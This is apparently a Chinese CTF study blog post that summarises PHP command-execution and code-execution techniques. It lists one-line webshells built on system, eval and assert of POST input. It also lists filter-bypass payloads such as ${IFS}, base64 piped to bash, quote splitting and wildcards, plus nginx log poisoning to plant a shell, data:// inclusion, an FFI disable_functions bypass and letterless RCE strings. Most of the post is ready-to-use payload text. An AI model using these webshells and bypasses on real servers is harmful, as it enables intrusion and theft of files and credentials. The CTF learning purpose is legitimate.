總結-命令執行
阿新 • • 發佈:2022-03-19
命令執行
1-system <?php system($_POST["cmd"]);?> 2-passthru <?php passthru($_POST["cmd"]);?> 3-exec <?php echo exec($_POST["cmd"]);?> //不回顯 4-pcntl_exec <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?> 5-shell_exec <?php echo shell_exec($_POST["cmd"]); ?> //通過shell環境執行命令,將完整的輸出以字串的方式返回 6-popen()/proc_popen() <?php $handle = popen("/bin/ls","r");?> 7-`` <?php echo `whoami`?> //反引號可以用來在PHP程式碼中執行系統命令,但是需要echo來執行回顯 類似的還有$() 8- <?php $cmd = 'system'; ob_start($cmd) echo "$_GET[a]"; ob_end_flush(); ?> //?a=whoami 10-{command,}
程式碼執行
1-eval <?php eval($_POST["cmd"]) ?> 2-assert <?php assert($_POST["cmd"]) ?> 3-call_user_func <?php call_user_func($_POST["fun"],$_POST["para"]) ?> //post:fun=assert¶=phpinfo(); 4-create_function <?php $a= $_POST['func']; $b = create_function('$a',"echo $a"); $b(''); ?> //post:func=phpinfo(); 5-array_map <?php $array = array(0,1,2,3,4,5); array_map($_GET['func'],$array); ?> //post:func=phpinfo
管道符
windows 下
|直接執行後面的語句
||如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
&前面和後面命令都要執行,無論前面真假
&&如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
Linux 下
;前面和後面命令都要執行,無論前面真假
|直接執行後面的語句
||如果前面命令是錯的那麼就執行後面的語句,否則只執行前面的語句
&前面和後面命令都要執行,無論前面真假
&&如果前面為假,後面的命令也不執行,如果前面為真則執行兩條命令
萬用字元: * 匹配任意長度任意字元 ? 匹配任意單個字元 元字元: IFS 由 < space > 或 < tab >或 < enter > 三者之一組成 CR 由 < enter > 產生 > 重導向標準輸出 < 重導向標準輸入 { } 將其內的命令置於 non-named function 中執行,或用在變數替換的界定範圍
常見命令:
cat:將檔案的內容按正常的順序打出
tac:將檔案進行讀取,按逆序打出檔案內容
nl:打出檔案內容的同時給每行加了行號
more:以一頁一頁的顯示方便使用者逐頁閱讀
less:類似於more但必more更具有彈性
vi:編輯器
vim:編輯器
grep:命令用於查詢檔案裡符合條件的字串
cp
mv
繞過
空格繞過
${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支援後面跟萬用字元)
水平製表符%09
%0a 回車
%0d換行
命令或字元繞過
1.變數拼接:
a=c;b=at;c=flag;$a$b $c
2.base64編碼繞過:
使用反引號包含base64解碼後的命令
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d
將base64解碼後的命令通過管道符傳遞給bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
3.單引號,雙引號,反斜槓,$1
ca''t fla''g.php
cat""t fla""g.php
ca\t fla\g.php
ca$1t fl$1ag.p$1hp
4.利用已存在的資源:
從已有的檔案或者環境變數中獲得相應的字元。
例如:bash內建變數
5.萬用字元 ? *
ca? fla?.?hp
cat f*
6.引數逃逸
eval一個引數來逃逸,正則匹配時對c引數進行了限制:
?c=eval($_GET[x]);&x=phpinfo();
7.nginx日誌檔案寫入shell
在User-Agent引數裡寫入一句話,訪問nginx日誌檔案 getshell
/var/log/nginx/access.log以 及/var/log/nginx/error.log
8.配合檔案包含
?c=data://text/plain,<?php system('tac f*?')?>
短標籤 <?= ?>相當於<?php echo' ' ?>
9.;被過濾可以考慮使用?>
讀取目錄:
var_dump(scandir("/"));
print_r(glob("*")); // 列當前目錄
print_r(glob("/*")); // 列根目錄
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
讀取檔案:
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php程式碼
include_once($filename); // 非php程式碼
require($filename); // 非php程式碼
require_once($filename); // 非php程式碼
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 讀取一行
fpassthru(fopen($filename, "r")); // 從當前位置一直讀取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 從檔案指標中讀取一行並過濾掉 HTML 標記
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失敗時返回 false , 成功返回配置陣列
無數字、字母進行異或
生成異或的結果之後用指令碼跑
%0a繞過黑洞
exit();繞過緩衝區
glob協議繞過open_basedir
使用mysql的PDO形式利用load_file讀取
需要得到flag檔名,知道資料庫賬號密碼
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}
利用FFI繞過disable_functions(php7.4及以上)
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();
利用Linux Bash內建變數構造命令
${PWD} /var/www/html
${PWD:~0} l
${PATH} /bin
${PATH:~0} n
payload:${PATH:~A}${PWD:~A}$IFS????.???
無字母RCE
姿勢一:使用/usr/bin下的bzip2 +萬用字元
payload:?c=/???/???/????2 ????????
`?c=/usr/bin/bzip2 flag.php`
將flag.php打包後再訪問/flag.php.bz2 解壓得到flag.php
姿勢二:使用/bin/base64 flag.php 對flag.phpbase64加密後輸出
payload:?c=/???/????64 ????????
姿勢三:通過上傳檔案後修改post包內容然後用. 來執行檔案內指令碼 內容來達到rce目的
姿勢四:利用shell裡面的$(())為0的特性,結合取反 只能構造出數字
總結沒有詳細復現過程
參考文章: